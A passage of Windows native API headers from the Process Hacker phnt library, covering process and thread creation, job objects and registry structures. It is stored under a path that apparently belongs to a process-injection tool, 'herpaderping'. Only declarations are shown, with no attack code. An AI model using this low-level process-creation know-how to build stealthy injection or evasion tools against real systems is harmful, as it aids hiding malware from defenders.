PS_ATTRIBUTE_PROTECTION_LEVEL \\\n PsAttributeValue(PsAttributeProtectionLevel, FALSE, TRUE, TRUE)\n#define PS_ATTRIBUTE_SECURE_PROCESS \\\n PsAttributeValue(PsAttributeSecureProcess, FALSE, TRUE, FALSE)\n#define PS_ATTRIBUTE_JOB_LIST \\\n PsAttributeValue(PsAttributeJobList, FALSE, TRUE, FALSE)\n#define PS_ATTRIBUTE_CHILD_PROCESS_POLICY \\\n PsAttributeValue(PsAttributeChildProcessPolicy, FALSE, TRUE, FALSE)\n#define PS_ATTRIBUTE_ALL_APPLICATION_PACKAGES_POLICY \\\n PsAttributeValue(PsAttributeAllApplicationPackagesPolicy, FALSE, TRUE, FALSE)\n#define PS_ATTRIBUTE_WIN32K_FILTER \\\n PsAttributeValue(PsAttributeWin32kFilter, FALSE, TRUE, FALSE)\n#define PS_ATTRIBUTE_SAFE_OPEN_PROMPT_ORIGIN_CLAIM \\\n PsAttributeValue(PsAttributeSafeOpenPromptOriginClaim, FALSE, TRUE, FALSE)\n#define PS_ATTRIBUTE_BNO_ISOLATION \\\n PsAttributeValue(PsAttributeBnoIsolation, FALSE, TRUE, FALSE)\n#define PS_ATTRIBUTE_DESKTOP_APP_POLICY \\\n PsAttributeValue(PsAttributeDesktopAppPolicy, FALSE, TRUE, FALSE)\n\n// end_rev\n\n// begin_private\n\ntypedef struct _PS_ATTRIBUTE\n{\n ULONG_PTR Attribute;\n SIZE_T Size;\n union\n {\n ULONG_PTR Value;\n PVOID ValuePtr;\n };\n PSIZE_T ReturnLength;\n} PS_ATTRIBUTE, *PPS_ATTRIBUTE;\n\ntypedef struct _PS_ATTRIBUTE_LIST\n{\n SIZE_T TotalLength;\n PS_ATTRIBUTE Attributes[1];\n} PS_ATTRIBUTE_LIST, *PPS_ATTRIBUTE_LIST;\n\ntypedef struct _PS_MEMORY_RESERVE\n{\n PVOID ReserveAddress;\n SIZE_T ReserveSize;\n} PS_MEMORY_RESERVE, *PPS_MEMORY_RESERVE;\n\ntypedef enum _PS_STD_HANDLE_STATE\n{\n PsNeverDuplicate,\n PsRequestDuplicate, // duplicate standard handles specified by PseudoHandleMask, and only if StdHandleSubsystemType matches the image subsystem\n PsAlwaysDuplicate, // always duplicate standard handles\n PsMaxStdHandleStates\n} PS_STD_HANDLE_STATE;\n\n// begin_rev\n#define PS_STD_INPUT_HANDLE 0x1\n#define PS_STD_OUTPUT_HANDLE 0x2\n#define PS_STD_ERROR_HANDLE 0x4\n// end_rev\n\ntypedef struct _PS_STD_HANDLE_INFO\n{\n union\n {\n ULONG Flags;\n struct\n {\n ULONG StdHandleState : 2; // PS_STD_HANDLE_STATE\n ULONG PseudoHandleMask : 3; // PS_STD_*\n };\n };\n ULONG StdHandleSubsystemType;\n} PS_STD_HANDLE_INFO, *PPS_STD_HANDLE_INFO;\n\n// private\ntypedef struct _PS_BNO_ISOLATION_PARAMETERS\n{\n UNICODE_STRING IsolationPrefix;\n ULONG HandleCount;\n PVOID *Handles;\n BOOLEAN IsolationEnabled;\n} PS_BNO_ISOLATION_PARAMETERS, *PPS_BNO_ISOLATION_PARAMETERS;\n\n// private\ntypedef enum _PS_MITIGATION_OPTION\n{\n PS_MITIGATION_OPTION_NX,\n PS_MITIGATION_OPTION_SEHOP,\n PS_MITIGATION_OPTION_FORCE_RELOCATE_IMAGES,\n PS_MITIGATION_OPTION_HEAP_TERMINATE,\n PS_MITIGATION_OPTION_BOTTOM_UP_ASLR,\n PS_MITIGATION_OPTION_HIGH_ENTROPY_ASLR,\n PS_MITIGATION_OPTION_STRICT_HANDLE_CHECKS,\n PS_MITIGATION_OPTION_WIN32K_SYSTEM_CALL_DISABLE,\n PS_MITIGATION_OPTION_EXTENSION_POINT_DISABLE,\n PS_MITIGATION_OPTION_PROHIBIT_DYNAMIC_CODE,\n PS_MITIGATION_OPTION_CONTROL_FLOW_GUARD,\n PS_MITIGATION_OPTION_BLOCK_NON_MICROSOFT_BINARIES,\n PS_MITIGATION_OPTION_FONT_DISABLE,\n PS_MITIGATION_OPTION_IMAGE_LOAD_NO_REMOTE,\n PS_MITIGATION_OPTION_IMAGE_LOAD_NO_LOW_LABEL,\n PS_MITIGATION_OPTION_IMAGE_LOAD_PREFER_SYSTEM32,\n PS_MITIGATION_OPTION_RETURN_FLOW_GUARD,\n PS_MITIGATION_OPTION_LOADER_INTEGRITY_CONTINUITY,\n PS_MITIGATION_OPTION_STRICT_CONTROL_FLOW_GUARD,\n PS_MITIGATION_OPTION_RESTRICT_SET_THREAD_CONTEXT,\n PS_MITIGATION_OPTION_ROP_STACKPIVOT, // since REDSTONE3\n PS_MITIGATION_OPTION_ROP_CALLER_CHECK,\n PS_MITIGATION_OPTION_ROP_SIMEXEC,\n PS_MITIGATION_OPTION_EXPORT_ADDRESS_FILTER,\n PS_MITIGATION_OPTION_EXPORT_ADDRESS_FILTER_PLUS,\n PS_MITIGATION_OPTION_RESTRICT_CHILD_PROCESS_CREATION,\n PS_MITIGATION_OPTION_IMPORT_ADDRESS_FILTER,\n PS_MITIGATION_OPTION_MODULE_TAMPERING_PROTECTION,\n PS_MITIGATION_OPTION_RESTRICT_INDIRECT_BRANCH_PREDICTION,\n PS_MITIGATION_OPTION_SPECULATIVE_STORE_BYPASS_DISABLE, // since REDSTONE5\n PS_MITIGATION_OPTION_ALLOW_DOWNGRADE_DYNAMIC_CODE_POLICY,\n PS_MITIGATION_OPTION_CET_SHADOW_STACKS\n} PS_MITIGATION_OPTION;\n\n// windows-internals-book:\"Chapter 5\"\ntypedef enum _PS_CREATE_STATE\n{\n PsCreateInitialState,\n PsCreateFailOnFileOpen,\n PsCreateFailOnSectionCreate,\n PsCreateFailExeFormat,\n PsCreateFailMachineMismatch,\n PsCreateFailExeName, // Debugger specified\n PsCreateSuccess,\n PsCreateMaximumStates\n} PS_CREATE_STATE;\n\ntypedef struct _PS_CREATE_INFO\n{\n SIZE_T Size;\n PS_CREATE_STATE State;\n union\n {\n // PsCreateInitialState\n struct\n {\n union\n {\n ULONG InitFlags;\n struct\n {\n UCHAR WriteOutputOnExit : 1;\n UCHAR DetectManifest : 1;\n UCHAR IFEOSkipDebugger : 1;\n UCHAR IFEODoNotPropagateKeyState : 1;\n UCHAR SpareBits1 : 4;\n UCHAR SpareBits2 : 8;\n USHORT ProhibitedImageCharacteristics : 16;\n };\n };\n ACCESS_MASK AdditionalFileAccess;\n } InitState;\n\n // PsCreateFailOnSectionCreate\n struct\n {\n HANDLE FileHandle;\n } FailSection;\n\n // PsCreateFailExeFormat\n struct\n {\n USHORT DllCharacteristics;\n } ExeFormat;\n\n // PsCreateFailExeName\n struct\n {\n HANDLE IFEOKey;\n } ExeName;\n\n // PsCreateSuccess\n struct\n {\n union\n {\n ULONG OutputFlags;\n struct\n {\n UCHAR ProtectedProcess : 1;\n UCHAR AddressSpaceOverride : 1;\n UCHAR DevOverrideEnabled : 1; // from Image File Execution Options\n UCHAR ManifestDetected : 1;\n UCHAR ProtectedProcessLight : 1;\n UCHAR SpareBits1 : 3;\n UCHAR SpareBits2 : 8;\n USHORT SpareBits3 : 16;\n };\n };\n HANDLE FileHandle;\n HANDLE SectionHandle;\n ULONGLONG UserProcessParametersNative;\n ULONG UserProcessParametersWow64;\n ULONG CurrentParameterFlags;\n ULONGLONG PebAddressNative;\n ULONG PebAddressWow64;\n ULONGLONG ManifestAddress;\n ULONG ManifestSize;\n } SuccessState;\n };\n} PS_CREATE_INFO, *PPS_CREATE_INFO;\n\n// end_private\n\n// begin_rev\n#define PROCESS_CREATE_FLAGS_BREAKAWAY 0x00000001\n#define PROCESS_CREATE_FLAGS_NO_DEBUG_INHERIT 0x00000002\n#define PROCESS_CREATE_FLAGS_INHERIT_HANDLES 0x00000004\n#define PROCESS_CREATE_FLAGS_OVERRIDE_ADDRESS_SPACE 0x00000008\n#define PROCESS_CREATE_FLAGS_LARGE_PAGES 0x00000010\n#define PROCESS_CREATE_FLAGS_LARGE_PAGE_SYSTEM_DLL 0x00000020\n// Extended PROCESS_CREATE_FLAGS_*\n#define PROCESS_CREATE_FLAGS_PROTECTED_PROCESS 0x00000040\n#define PROCESS_CREATE_FLAGS_CREATE_SESSION 0x00000080 // ?\n#define PROCESS_CREATE_FLAGS_INHERIT_FROM_PARENT 0x00000100\n#define PROCESS_CREATE_FLAGS_SUSPENDED 0x00000200\n#define PROCESS_CREATE_FLAGS_EXTENDED_UNKNOWN 0x00000400\n// end_rev\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCreateUserProcess(\n _Out_ PHANDLE ProcessHandle,\n _Out_ PHANDLE ThreadHandle,\n _In_ ACCESS_MASK ProcessDesiredAccess,\n _In_ ACCESS_MASK ThreadDesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ProcessObjectAttributes,\n _In_opt_ POBJECT_ATTRIBUTES ThreadObjectAttributes,\n _In_ ULONG ProcessFlags, // PROCESS_CREATE_FLAGS_*\n _In_ ULONG ThreadFlags, // THREAD_CREATE_FLAGS_*\n _In_opt_ PVOID ProcessParameters, // PRTL_USER_PROCESS_PARAMETERS\n _Inout_ PPS_CREATE_INFO CreateInfo,\n _In_opt_ PPS_ATTRIBUTE_LIST AttributeList\n );\n#endif\n\n// begin_rev\n#define THREAD_CREATE_FLAGS_CREATE_SUSPENDED 0x00000001\n#define THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH 0x00000002 // ?\n#define THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER 0x00000004\n#define THREAD_CREATE_FLAGS_HAS_SECURITY_DESCRIPTOR 0x00000010 // ?\n#define THREAD_CREATE_FLAGS_ACCESS_CHECK_IN_TARGET 0x00000020 // ?\n#define THREAD_CREATE_FLAGS_INITIAL_THREAD 0x00000080\n// end_rev\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCreateThreadEx(\n _Out_ PHANDLE ThreadHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ HANDLE ProcessHandle,\n _In_ PVOID StartRoutine, // PUSER_THREAD_START_ROUTINE\n _In_opt_ PVOID Argument,\n _In_ ULONG CreateFlags, // THREAD_CREATE_FLAGS_*\n _In_ SIZE_T ZeroBits,\n _In_ SIZE_T StackSize,\n _In_ SIZE_T MaximumStackSize,\n _In_opt_ PPS_ATTRIBUTE_LIST AttributeList\n );\n#endif\n\n#endif\n\n// Job objects\n\n#if (PHNT_MODE != PHNT_MODE_KERNEL)\n\n// JOBOBJECTINFOCLASS\n// Note: We don't use an enum since it conflicts with the Windows SDK.\n#define JobObjectBasicAccountingInformation 1 // JOBOBJECT_BASIC_ACCOUNTING_INFORMATION\n#define JobObjectBasicLimitInformation 2 // JOBOBJECT_BASIC_LIMIT_INFORMATION\n#define JobObjectBasicProcessIdList 3 // JOBOBJECT_BASIC_PROCESS_ID_LIST\n#define JobObjectBasicUIRestrictions 4 // JOBOBJECT_BASIC_UI_RESTRICTIONS\n#define JobObjectSecurityLimitInformation 5 // JOBOBJECT_SECURITY_LIMIT_INFORMATION\n#define JobObjectEndOfJobTimeInformation 6 // JOBOBJECT_END_OF_JOB_TIME_INFORMATION\n#define JobObjectAssociateCompletionPortInformation 7 // JOBOBJECT_ASSOCIATE_COMPLETION_PORT\n#define JobObjectBasicAndIoAccountingInformation 8 // JOBOBJECT_BASIC_AND_IO_ACCOUNTING_INFORMATION\n#define JobObjectExtendedLimitInformation 9 // JOBOBJECT_EXTENDED_LIMIT_INFORMATION\n#define JobObjectJobSetInformation 10 // JOBOBJECT_JOBSET_INFORMATION\n#define JobObjectGroupInformation 11 // USHORT\n#define JobObjectNotificationLimitInformation 12 // JOBOBJECT_NOTIFICATION_LIMIT_INFORMATION\n#define JobObjectLimitViolationInformation 13 // JOBOBJECT_LIMIT_VIOLATION_INFORMATION\n#define JobObjectGroupInformationEx 14 // GROUP_AFFINITY (ARRAY)\n#define JobObjectCpuRateControlInformation 15 // JOBOBJECT_CPU_RATE_CONTROL_INFORMATION\n#define JobObjectCompletionFilter 16\n#define JobObjectCompletionCounter 17\n#define JobObjectFreezeInformation 18 // JOBOBJECT_FREEZE_INFORMATION\n#define JobObjectExtendedAccountingInformation 19 // JOBOBJECT_EXTENDED_ACCOUNTING_INFORMATION\n#define JobObjectWakeInformation 20 // JOBOBJECT_WAKE_INFORMATION\n#define JobObjectBackgroundInformation 21\n#define JobObjectSchedulingRankBiasInformation 22\n#define JobObjectTimerVirtualizationInformation 23\n#define JobObjectCycleTimeNotification 24\n#define JobObjectClearEvent 25\n#define JobObjectInterferenceInformation 26 // JOBOBJECT_INTERFERENCE_INFORMATION\n#define JobObjectClearPeakJobMemoryUsed 27\n#define JobObjectMemoryUsageInformation 28 // JOBOBJECT_MEMORY_USAGE_INFORMATION // JOBOBJECT_MEMORY_USAGE_INFORMATION_V2\n#define JobObjectSharedCommit 29\n#define JobObjectContainerId 30\n#define JobObjectIoRateControlInformation 31\n#define JobObjectNetRateControlInformation 32 // JOBOBJECT_NET_RATE_CONTROL_INFORMATION\n#define JobObjectNotificationLimitInformation2 33 // JOBOBJECT_NOTIFICATION_LIMIT_INFORMATION_2\n#define JobObjectLimitViolationInformation2 34 // JOBOBJECT_LIMIT_VIOLATION_INFORMATION_2\n#define JobObjectCreateSilo 35\n#define JobObjectSiloBasicInformation 36 // SILOOBJECT_BASIC_INFORMATION\n#define JobObjectSiloRootDirectory 37 // SILOOBJECT_ROOT_DIRECTORY\n#define JobObjectServerSiloBasicInformation 38 // SERVERSILO_BASIC_INFORMATION\n#define JobObjectServerSiloUserSharedData 39 // SILO_USER_SHARED_DATA\n#define JobObjectServerSiloInitialize 40\n#define JobObjectServerSiloRunningState 41\n#define JobObjectIoAttribution 42\n#define JobObjectMemoryPartitionInformation 43\n#define JobObjectContainerTelemetryId 44\n#define JobObjectSiloSystemRoot 45\n#define JobObjectEnergyTrackingState 46 // JOBOBJECT_ENERGY_TRACKING_STATE\n#define JobObjectThreadImpersonationInformation 47\n#define MaxJobObjectInfoClass 48\n\n// private\ntypedef struct _JOBOBJECT_EXTENDED_ACCOUNTING_INFORMATION\n{\n JOBOBJECT_BASIC_ACCOUNTING_INFORMATION BasicInfo;\n IO_COUNTERS IoInfo;\n PROCESS_DISK_COUNTERS DiskIoInfo;\n ULONG64 ContextSwitches;\n LARGE_INTEGER TotalCycleTime;\n ULONG64 ReadyTime;\n PROCESS_ENERGY_VALUES EnergyValues;\n} JOBOBJECT_EXTENDED_ACCOUNTING_INFORMATION, *PJOBOBJECT_EXTENDED_ACCOUNTING_INFORMATION;\n\n// private\ntypedef struct _JOBOBJECT_WAKE_INFORMATION\n{\n HANDLE NotificationChannel;\n ULONG64 WakeCounters[7];\n} JOBOBJECT_WAKE_INFORMATION, *PJOBOBJECT_WAKE_INFORMATION;\n\n// private\ntypedef struct _JOBOBJECT_WAKE_INFORMATION_V1\n{\n HANDLE NotificationChannel;\n ULONG64 WakeCounters[4];\n} JOBOBJECT_WAKE_INFORMATION_V1, *PJOBOBJECT_WAKE_INFORMATION_V1;\n\n// private\ntypedef struct _JOBOBJECT_INTERFERENCE_INFORMATION\n{\n ULONG64 Count;\n} JOBOBJECT_INTERFERENCE_INFORMATION, *PJOBOBJECT_INTERFERENCE_INFORMATION;\n\n// private\ntypedef struct _JOBOBJECT_WAKE_FILTER\n{\n ULONG HighEdgeFilter;\n ULONG LowEdgeFilter;\n} JOBOBJECT_WAKE_FILTER, *PJOBOBJECT_WAKE_FILTER;\n\n// private\ntypedef struct _JOBOBJECT_FREEZE_INFORMATION\n{\n union\n {\n ULONG Flags;\n struct\n {\n ULONG FreezeOperation : 1;\n ULONG FilterOperation : 1;\n ULONG SwapOperation : 1;\n ULONG Reserved : 29;\n };\n };\n BOOLEAN Freeze;\n BOOLEAN Swap;\n UCHAR Reserved0[2];\n JOBOBJECT_WAKE_FILTER WakeFilter;\n} JOBOBJECT_FREEZE_INFORMATION, *PJOBOBJECT_FREEZE_INFORMATION;\n\n// private\ntypedef struct _JOBOBJECT_MEMORY_USAGE_INFORMATION\n{\n ULONG64 JobMemory;\n ULONG64 PeakJobMemoryUsed;\n} JOBOBJECT_MEMORY_USAGE_INFORMATION, *PJOBOBJECT_MEMORY_USAGE_INFORMATION;\n\n// private\ntypedef struct _JOBOBJECT_MEMORY_USAGE_INFORMATION_V2\n{\n JOBOBJECT_MEMORY_USAGE_INFORMATION BasicInfo;\n ULONG64 JobSharedMemory;\n ULONG64 Reserved[2];\n} JOBOBJECT_MEMORY_USAGE_INFORMATION_V2, *PJOBOBJECT_MEMORY_USAGE_INFORMATION_V2;\n\n// private\ntypedef struct _SILO_USER_SHARED_DATA\n{\n ULONG64 ServiceSessionId;\n ULONG ActiveConsoleId;\n LONGLONG ConsoleSessionForegroundProcessId;\n NT_PRODUCT_TYPE NtProductType;\n ULONG SuiteMask;\n ULONG SharedUserSessionId;\n BOOLEAN IsMultiSessionSku;\n WCHAR NtSystemRoot[260];\n USHORT UserModeGlobalLogger[16];\n} SILO_USER_SHARED_DATA, *PSILO_USER_SHARED_DATA;\n\n// private\ntypedef struct _SILOOBJECT_ROOT_DIRECTORY\n{\n ULONG ControlFlags;\n UNICODE_STRING Path;\n} SILOOBJECT_ROOT_DIRECTORY, *PSILOOBJECT_ROOT_DIRECTORY;\n\n// private\ntypedef struct _JOBOBJECT_ENERGY_TRACKING_STATE\n{\n ULONG64 Value;\n ULONG UpdateMask;\n ULONG DesiredState;\n} JOBOBJECT_ENERGY_TRACKING_STATE, *PJOBOBJECT_ENERGY_TRACKING_STATE;\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCreateJobObject(\n _Out_ PHANDLE JobHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtOpenJobObject(\n _Out_ PHANDLE JobHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAssignProcessToJobObject(\n _In_ HANDLE JobHandle,\n _In_ HANDLE ProcessHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtTerminateJobObject(\n _In_ HANDLE JobHandle,\n _In_ NTSTATUS ExitStatus\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtIsProcessInJob(\n _In_ HANDLE ProcessHandle,\n _In_opt_ HANDLE JobHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQueryInformationJobObject(\n _In_opt_ HANDLE JobHandle,\n _In_ JOBOBJECTINFOCLASS JobObjectInformationClass,\n _Out_writes_bytes_(JobObjectInformationLength) PVOID JobObjectInformation,\n _In_ ULONG JobObjectInformationLength,\n _Out_opt_ PULONG ReturnLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetInformationJobObject(\n _In_ HANDLE JobHandle,\n _In_ JOBOBJECTINFOCLASS JobObjectInformationClass,\n _In_reads_bytes_(JobObjectInformationLength) PVOID JobObjectInformation,\n _In_ ULONG JobObjectInformationLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCreateJobSet(\n _In_ ULONG NumJob,\n _In_reads_(NumJob) PJOB_SET_ARRAY UserJobSet,\n _In_ ULONG Flags\n );\n\n#if (PHNT_VERSION >= PHNT_THRESHOLD)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtRevertContainerImpersonation(\n VOID\n );\n#endif\n\n#endif\n\n// Reserve objects\n\n#if (PHNT_MODE != PHNT_MODE_KERNEL)\n\n// private\ntypedef enum _MEMORY_RESERVE_TYPE\n{\n MemoryReserveUserApc,\n MemoryReserveIoCompletion,\n MemoryReserveTypeMax\n} MEMORY_RESERVE_TYPE;\n\n#if (PHNT_VERSION >= PHNT_WIN7)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAllocateReserveObject(\n _Out_ PHANDLE MemoryReserveHandle,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ MEMORY_RESERVE_TYPE Type\n );\n#endif\n\n#endif\n\n#endif\n" }, { "path": "Inject/herpaderping-main/ext/submodules/phnt/ntregapi.h", "content": "/*\n * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/\n *\n * You can redistribute this file and/or modify it under the terms of the \n * Attribution 4.0 International (CC BY 4.0) license. \n * \n * You must give appropriate credit, provide a link to the license, and \n * indicate if changes were made. You may do so in any reasonable manner, but \n * not in any way that suggests the licensor endorses you or your use.\n */\n\n#ifndef _NTREGAPI_H\n#define _NTREGAPI_H\n\n// Boot condition flags (NtInitializeRegistry)\n\n#define REG_INIT_BOOT_SM 0x0000\n#define REG_INIT_BOOT_SETUP 0x0001\n#define REG_INIT_BOOT_ACCEPTED_BASE 0x0002\n#define REG_INIT_BOOT_ACCEPTED_MAX REG_INIT_BOOT_ACCEPTED_BASE + 999\n\n#define REG_MAX_KEY_VALUE_NAME_LENGTH 32767\n#define REG_MAX_KEY_NAME_LENGTH 512\n\ntypedef enum _KEY_INFORMATION_CLASS\n{\n KeyBasicInformation, // KEY_BASIC_INFORMATION\n KeyNodeInformation, // KEY_NODE_INFORMATION\n KeyFullInformation, // KEY_FULL_INFORMATION\n KeyNameInformation, // KEY_NAME_INFORMATION\n KeyCachedInformation, // KEY_CACHED_INFORMATION\n KeyFlagsInformation, // KEY_FLAGS_INFORMATION\n KeyVirtualizationInformation, // KEY_VIRTUALIZATION_INFORMATION\n KeyHandleTagsInformation, // KEY_HANDLE_TAGS_INFORMATION\n KeyTrustInformation, // KEY_TRUST_INFORMATION\n KeyLayerInformation, // KEY_LAYER_INFORMATION\n MaxKeyInfoClass\n} KEY_INFORMATION_CLASS;\n\ntypedef struct _KEY_BASIC_INFORMATION\n{\n LARGE_INTEGER LastWriteTime;\n ULONG TitleIndex;\n ULONG NameLength;\n WCHAR Name[1];\n} KEY_BASIC_INFORMATION, *PKEY_BASIC_INFORMATION;\n\ntypedef struct _KEY_NODE_INFORMATION\n{\n LARGE_INTEGER LastWriteTime;\n ULONG TitleIndex;\n ULONG ClassOffset;\n ULONG ClassLength;\n ULONG NameLength;\n WCHAR Name[1];\n // ...\n // WCHAR Class[1];\n} KEY_NODE_INFORMATION, *PKEY_NODE_INFORMATION;\n\ntypedef struct _KEY_FULL_INFORMATION\n{\n LARGE_INTEGER LastWriteTime;\n ULONG TitleIndex;\n ULONG ClassOffset;\n ULONG ClassLength;\n ULONG SubKeys;\n ULONG MaxNameLen;\n ULONG MaxClassLen;\n ULONG Values;\n ULONG MaxValueNameLen;\n ULONG MaxValueDataLen;\n WCHAR Class[1];\n} KEY_FULL_INFORMATION, *PKEY_FULL_INFORMATION;\n\ntypedef struct _KEY_NAME_INFORMATION\n{\n ULONG NameLength;\n WCHAR Name[1];\n} KEY_NAME_INFORMATION, *PKEY_NAME_INFORMATION;\n\ntypedef struct _KEY_CACHED_INFORMATION\n{\n LARGE_INTEGER LastWriteTime;\n ULONG TitleIndex;\n ULONG SubKeys;\n ULONG MaxNameLen;\n ULONG Values;\n ULONG MaxValueNameLen;\n ULONG MaxValueDataLen;\n ULONG NameLength;\n WCHAR Name[1];\n} KEY_CACHED_INFORMATION, *PKEY_CACHED_INFORMATION;\n\ntypedef struct _KEY_FLAGS_INFORMATION\n{\n ULONG UserFlags;\n} KEY_FLAGS_INFORMATION, *PKEY_FLAGS_INFORMATION;\n\ntypedef struct _KEY_VIRTUALIZATION_INFORMATION\n{\n ULONG VirtualizationCandidate : 1; // Tells whether the key is part of the virtualization namespace scope (only HKLM\\Software for now).\n ULONG VirtualizationEnabled : 1; // Tells whether virtualization is enabled on this key. Can be 1 only if above flag is 1.\n ULONG VirtualTarget : 1; // Tells if the key is a virtual key. Can be 1 only if above 2 are 0. Valid only on the virtual store key handles.\n ULONG VirtualStore : 1; // Tells if the key is a part of the virtual store path. Valid only on the virtual store key handles.\n ULONG VirtualSource : 1; // Tells if the key has ever been virtualized, can be 1 only if VirtualizationCandidate is 1.\n ULONG Reserved : 27;\n} KEY_VIRTUALIZATION_INFORMATION, *PKEY_VIRTUALIZATION_INFORMATION;\n\n// private\ntypedef struct _KEY_TRUST_INFORMATION\n{\n ULONG TrustedKey : 1;\n ULONG Reserved : 31;\n} KEY_TRUST_INFORMATION, *PKEY_TRUST_INFORMATION;\n\n// private\ntypedef struct _KEY_LAYER_INFORMATION\n{\n ULONG IsTombstone;\n ULONG IsSupersedeLocal;\n ULONG IsSupersedeTree;\n ULONG ClassIsInherited;\n ULONG Reserved;\n} KEY_LAYER_INFORMATION, *PKEY_LAYER_INFORMATION;\n\ntypedef enum _KEY_SET_INFORMATION_CLASS\n{\n KeyWriteTimeInformation, // KEY_WRITE_TIME_INFORMATION\n KeyWow64FlagsInformation, // KEY_WOW64_FLAGS_INFORMATION\n KeyControlFlagsInformation, // KEY_CONTROL_FLAGS_INFORMATION\n KeySetVirtualizationInformation, // KEY_SET_VIRTUALIZATION_INFORMATION\n KeySetDebugInformation,\n KeySetHandleTagsInformation, // KEY_HANDLE_TAGS_INFORMATION\n KeySetLayerInformation, // KEY_SET_LAYER_INFORMATION\n MaxKeySetInfoClass\n} KEY_SET_INFORMATION_CLASS;\n\ntypedef struct _KEY_WRITE_TIME_INFORMATION\n{\n LARGE_INTEGER LastWriteTime;\n} KEY_WRITE_TIME_INFORMATION, *PKEY_WRITE_TIME_INFORMATION;\n\ntypedef struct _KEY_WOW64_FLAGS_INFORMATION\n{\n ULONG UserFlags;\n} KEY_WOW64_FLAGS_INFORMATION, *PKEY_WOW64_FLAGS_INFORMATION;\n\ntypedef struct _KEY_HANDLE_TAGS_INFORMATION\n{\n ULONG HandleTags;\n} KEY_HANDLE_TAGS_INFORMATION, *PKEY_HANDLE_TAGS_INFORMATION;\n\ntypedef struct _KEY_SET_LAYER_INFORMATION\n{\n ULONG IsTombstone : 1;\n ULONG IsSupersedeLocal : 1;\n ULONG IsSupersedeTree : 1;\n ULONG ClassIsInherited : 1;\n ULONG Reserved : 28;\n} KEY_SET_LAYER_INFORMATION, *PKEY_SET_LAYER_INFORMATION;\n\ntypedef struct _KEY_CONTROL_FLAGS_INFORMATION\n{\n ULONG ControlFlags;\n} KEY_CONTROL_FLAGS_INFORMATION, *PKEY_CONTROL_FLAGS_INFORMATION;\n\ntypedef struct _KEY_SET_VIRTUALIZATION_INFORMATION\n{\n ULONG VirtualTarget : 1;\n ULONG VirtualStore : 1;\n ULONG VirtualSource : 1; // true if key has been virtualized at least once\n ULONG Reserved : 29;\n} KEY_SET_VIRTUALIZATION_INFORMATION, *PKEY_SET_VIRTUALIZATION_INFORMATION;\n\ntypedef enum _KEY_VALUE_INFORMATION_CLASS\n{\n KeyValueBasicInformation, // KEY_VALUE_BASIC_INFORMATION\n KeyValueFullInformation, // KEY_VALUE_FULL_INFORMATION\n KeyValuePartialInformation, // KEY_VALUE_PARTIAL_INFORMATION\n KeyValueFullInformationAlign64,\n KeyValuePartialInformationAlign64, // KEY_VALUE_PARTIAL_INFORMATION_ALIGN64\n KeyValueLayerInformation, // KEY_VALUE_LAYER_INFORMATION\n MaxKeyValueInfoClass\n} KEY_VALUE_INFORMATION_CLASS;\n\ntypedef struct _KEY_VALUE_BASIC_INFORMATION\n{\n ULONG TitleIndex;\n ULONG Type;\n ULONG NameLength;\n WCHAR Name[1];\n} KEY_VALUE_BASIC_INFORMATION, *PKEY_VALUE_BASIC_INFORMATION;\n\ntypedef struct _KEY_VALUE_FULL_INFORMATION\n{\n ULONG TitleIndex;\n ULONG Type;\n ULONG DataOffset;\n ULONG DataLength;\n ULONG NameLength;\n WCHAR Name[1];\n // ...\n // UCHAR Data[1];\n} KEY_VALUE_FULL_INFORMATION, *PKEY_VALUE_FULL_INFORMATION;\n\ntypedef struct _KEY_VALUE_PARTIAL_INFORMATION\n{\n ULONG TitleIndex;\n ULONG Type;\n ULONG DataLength;\n UCHAR Data[1];\n} KEY_VALUE_PARTIAL_INFORMATION, *PKEY_VALUE_PARTIAL_INFORMATION;\n\ntypedef struct _KEY_VALUE_PARTIAL_INFORMATION_ALIGN64\n{\n ULONG Type;\n ULONG DataLength;\n UCHAR Data[1];\n} KEY_VALUE_PARTIAL_INFORMATION_ALIGN64, *PKEY_VALUE_PARTIAL_INFORMATION_ALIGN64;\n\n// private\ntypedef struct _KEY_VALUE_LAYER_INFORMATION\n{\n ULONG IsTombstone;\n ULONG Reserved;\n} KEY_VALUE_LAYER_INFORMATION, *PKEY_VALUE_LAYER_INFORMATION;\n\ntypedef struct _KEY_VALUE_ENTRY\n{\n PUNICODE_STRING ValueName;\n ULONG DataLength;\n ULONG DataOffset;\n ULONG Type;\n} KEY_VALUE_ENTRY, *PKEY_VALUE_ENTRY;\n\ntypedef enum _REG_ACTION\n{\n KeyAdded,\n KeyRemoved,\n KeyModified\n} REG_ACTION;\n\ntypedef struct _REG_NOTIFY_INFORMATION\n{\n ULONG NextEntryOffset;\n REG_ACTION Action;\n ULONG KeyLength;\n WCHAR Key[1];\n} REG_NOTIFY_INFORMATION, *PREG_NOTIFY_INFORMATION;\n\ntypedef struct _KEY_PID_ARRAY\n{\n HANDLE ProcessId;\n UNICODE_STRING KeyName;\n} KEY_PID_ARRAY, *PKEY_PID_ARRAY;\n\ntypedef struct _KEY_OPEN_SUBKEYS_INFORMATION\n{\n ULONG Count;\n KEY_PID_ARRAY KeyArray[1];\n} 